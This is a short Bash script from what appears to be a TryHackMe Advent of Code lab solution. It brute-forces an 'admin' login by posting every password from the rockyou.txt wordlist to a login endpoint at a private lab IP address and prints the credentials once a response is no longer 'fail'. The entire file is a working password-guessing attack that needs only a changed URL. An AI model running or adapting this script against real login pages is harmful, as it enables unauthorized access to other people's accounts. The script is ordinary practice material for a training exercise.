Files
TryHackMe/AoC/2025/24/bruteforce.sh
2026-03-11 10:56:27 +01:00

11 lines
419 B
Bash
Executable File

for word in $(cat /usr/share/wordlists/rockyou.txt); do
response=$(curl -s -A "secretcomputer" -X POST -d "username=admin&password=$word" http://10.82.144.99/terminal.php?action=login)
#echo $response
status=$(echo $response | jq -e ".status" | tr -d '"')
printf "Checking %s with status %s \r" "$word" "$status"
if [ "$status" != "fail" ]; then
echo "Credentials are admin:$word"
break
fi
done